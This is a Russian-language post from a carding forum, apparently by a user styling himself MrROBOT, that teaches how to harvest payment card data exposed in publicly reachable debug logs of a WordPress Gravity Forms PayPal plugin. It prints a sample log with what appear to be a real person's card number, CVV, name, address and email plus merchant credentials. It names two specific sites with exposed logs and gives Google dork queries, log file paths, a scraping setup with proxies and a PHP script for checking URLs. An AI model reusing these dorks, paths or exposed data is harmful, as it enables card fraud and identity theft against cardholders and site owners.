Carder.life

Carder.life (http://txgate.io:443/index.php)
-   Спам, траффик, хостинг, web-дизайн (http://txgate.io:443/forumdisplay.php?f=31)
-   -   Поиск картона свои руками (2017) (http://txgate.io:443/showthread.php?t=40990)

blackedd 02-24-2025 09:38 PM


Привет ребятишки! И снова с вами MrROBOT!
Сегодня я покажу как можно добывать картон, метод абсолютно уникальный и неоткуда не слизанный. Дырочку я нашел довольно давно, но сегодня появилась нужна в СС и пришлось немного помозговать, чтобы запустить данный процесс. Я нашел небольшую ошибку в плагине WP под название gravity forms, данный скрипт многофункциональный. Это 0day который нигде не фигурировал на данный момент, другие баги конечно же в нем находили. Данный плагин использую для подключения оплаты на сайте и других фишек, подробнее можно почитать тут https://wordpress.org/plugins/gravity-forms-addons/
Как видим активных инсталлов +6000, что довольно не плохо. Дело в том, что в режиме дебага ведется лог где лежат картонки и другая информация холдера.
Пример записи:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 290px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">DEBUG --&gt; Payment in the amount of 200 was captured successfully.
DEBUG --&gt; Capturing payment in the amount of 140.
DEBUG --&gt; Sending request to PayPal - URL: https://payflowpro.paypal.com Request: VENDOR=1990NOFAS22&amp;PARTNER=PayPal&amp;PWD=Wart nikmunch2016&amp;USER=1990NOFAS22&amp;BUTTONSOURCE =Rocketgenius_SP&amp;ACCT=5410658406967503&amp;EXP DATE=1217&amp;CVV2=572&amp;STREET=681 B West Broadway&amp;CITY=Granville&amp;STATE=OH&amp;ZIP=4 3023&amp;BILLTOCOUNTRY=US&amp;CURRENCY=USD&amp;FIR STNAME=Nestor &amp;LASTNAME=Matthews&amp;EMAIL=matthewsn@denison .edu&amp;DESC=&amp;L_NAME0=Custom Donation Amount&amp;L_DESC0=Custom Donation Amount&amp;L_AMT0=140&amp;L_NUMBER0=1&amp;L_QTY0=1 &amp;AMT=140&amp;TENDER=C&amp;TRXTYPE=S
2015-02-01 13:19:47 - DEBUG --&gt; Response from PayPal: RESULT=0&amp;PNREF=EREPBB81E4DE&amp;RESPMSG=Approv ed&amp;AUTHCODE=111111&amp;AVSADDR=Y&amp;AVSZIP=Y& amp;CVV2MATCH=Y&amp;PPREF=2BN34309CX798431V&amp;CO RRELATIONID=66bca165ccde&amp;IAVS=N
2015-02-01 13:19:47 - DEBUG --&gt; Friendly view of response: Array
(
[RESULT] =&gt; 0
[PNREF] =&gt; EREPBB81E4DE
[RESPMSG] =&gt; Approved
[AUTHCODE] =&gt; 111111
[AVSADDR] =&gt; Y
[AVSZIP] =&gt; Y
[CVV2MATCH] =&gt; Y
[PPREF] =&gt; 2BN34309CX798431V
[CORRELATIONID] =&gt; 66bca165ccde
[IAVS] =&gt; N
)</pre>
Что мы тут видим?
1) ACCT=5410658406967503 - номер карты
2) EXPDATE=1217 - дата
3) CVV2=572 - без комментов
4) STREET=681 B West Broadway&amp;CITY=Granville&amp;STATE=OH&amp;ZIP=4 3023&amp;BILLTOC OUNTRY=US&amp;CURRENCY=USD - полный адрес холдера
5) FIRSTNAME=Nestor &amp;LASTNAME=Matthews - ФИО холдера
6) [email protected] - почту + в некоторых случая пасс от PayPal
Нам же этого хватит?
Поиск уязвимого скрипта:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 34px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">inurl:/wp-content/uploads/gravity_forms/logs/</pre>
Тут мы сразу находит:
http://www.nofas.org/wp-content/uplo...aymentspro.txt
http://www.blackbeltsuccess.com/slas...spaypalpro.txt
Как видим в файликах gravityformspaypalpaymentspro.txt и gravityformspaypalpro.txt лежит лог по дебагу и куча картона со всеми необходимыми данными. Можете не стараться, он весь уже чекнутый и отработанный Если знакомы с настройками веб сервера, то поймете как такие вещи попали в Гугл. Тут не правильно настроены права доступа, именно по этому делаем вывод, что таких сайтов в 1000 раз больше и не все они проиндексировались Гугл.
Как же нам их найти?
1) Для начала нам нужно настроить парсер Гугла и выбрать все сайты WP по определенным запросам. Я приведу пару примеров, но свой список палить не буду.
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 98px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">store paypal inurl:/wp-content/
paypal inurl:/wp-content/
payment paypal inurl:/wp-content/
и т.д</pre>
2) Далее нам нужно будет собрать огромный список и чекнуть его на наличии дебаг лога. Наш скрипт должен ходить и проверять следующие вещи:
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 66px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">/wp-content/uploads/gravity_forms/logs/gravityformspaypalpro.txt
/wp-content/uploads/gravity_forms/logs/gravityformspaypalpaymentspro.txt
/wp-content/uploads/gravity_forms/logs/</pre>
3) После добычи массово чекаем картон.
Как это реализовать?
1) С парсером все просто, как оказалось есть бесплатный http://ascent.pro/ru/. Для его нормальной работы достаточно подключить антигейт или соксы.
У меня на дедике работает отлично!
https://image.prntscr.com/image/vlRE...jOQr2MO-Gw.png
2) После того как мы выбираем большое количество сайтов WP (предположительно с установленным плагином), нам нужно проверить наличия дебаг лога.
Для этого можно доработать скрип, все за вас писать не буду. По данной аналогие можно искать ЦЦ не только в этом плагине, но и много где еще!
Code:
<pre class="alt2" dir="ltr" style="
margin: 0px;
padding: 6px;
border: 1px solid rgb(0, 0, 0);
width: 640px;
height: 498px;
text-align: left;
overflow: auto;
background: rgb(37, 37, 37) none repeat scroll 0% 0%;
border-radius: 5px;
font-size: 11px;
text-shadow: none;">function check_url($url)
{
$url = preg_replace("/[^x20-xFF]/","",@strval($url));
if (!strstr($url,"://"))
{
$url="http://".$url;
}
if (preg_match("/^(http://|https://)((www.|([w, -]+.))?([w,
-]+.)(com|net|org|info|biz|spb.ru|msk.ru|com.ru|org.
ru|net.ru|ru|su|us|bz|kz|ws|рф|pro))(|/.*)$/u", $url))
{
return $url;
}
return false;
}
function open_url($url)
{
$url_c=parse_url($url);
if (!empty($url_c['host']) and checkdnsrr($url_c['host']))
{
// Ответ сервера
if ($otvet=@get_headers($url)){
return substr($otvet[0], 9, 3);
}
}
return false;
}
// Проверка ссылкок! Тут настраиваем забор в цикле из тхт или формы
$url='http://site.ru/wp-content/uploads/gravity_forms/logs/gravityformspaypalpaymentspro.txt';
if
($url=check_url($url))
{
// ссылка корректная
if ($o=open_url($url))
{
echo "Ответ сервера " . $o;
}
else
{
echo "Сервер не отвечает";
}
}
else echo "Некорректная ссылка";</pre>
Я думаю логика поиска вам станет понята. Зачем платить за картон? Кода его можно найти!
Это авторская статья от MrROBOT!


All times are GMT. The time now is 04:10 PM.

Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2025, vBulletin Solutions, Inc.